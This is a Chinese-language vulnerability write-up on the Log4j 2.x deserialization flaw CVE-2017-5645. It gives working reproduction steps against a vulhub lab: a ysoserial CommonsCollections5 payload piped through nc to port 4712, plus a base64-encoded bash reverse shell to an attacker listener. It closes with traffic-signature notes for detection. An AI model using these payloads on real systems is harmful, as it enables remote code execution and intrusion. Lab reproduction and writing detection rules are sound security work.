漏洞详情

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。 Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。

影响版本

Log4j 2.x<=2.8.1

漏洞原理

img

当我们运行代码后,程序会在本地的 8888 端口开始等待接收数据,然后在下图第105行代码处,将接收到的数据转换成 ObjectInputStream 对象数据,最终在 handler.start() 中调用 SocketHandler 类的 run 方法。

SocketHandler 类的 run 方法中, ObjectInputStream 对象数据被传入了 ObjectInputStreamLogEventBridge 类的 logEvents 方法,而反序列化就发生在这个方法中。

漏洞复现

靶场

cd Tools/vulhub/log4j/CVE-2017-5645
docker-compose up -d

攻击机

软件地址:https://github.com/frohoff/ysoserial

java -jar ysoserial-all.jar  CommonsCollections5 "touch /tmp/testsuccess" | nc ip 4712

靶机检查是否执行成功

反弹shell

bash -i >& /dev/tcp/ip/7777 0>&1

base编码

https://base64.us/

YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC83Nzc3IDA+JjE=

攻击机建立监听

nc -lnvp 7777

攻击机另建终端,执行

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" | nc ip 4712

特征流量

Content 包括:👇

ysoserial
CommonsCollections5

端口,注意是4712,规则编写端口部分要写any。另外不能用http_method的参数,因为它规定了端口范围,要在指定的端口范围内才能使用该参数

参考链接

https://www.hacking8.com/bug-product/Apache-Log4j/CVE-2017-5645-Log4j-2.X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html

https://xz.aliyun.com/t/1909

评论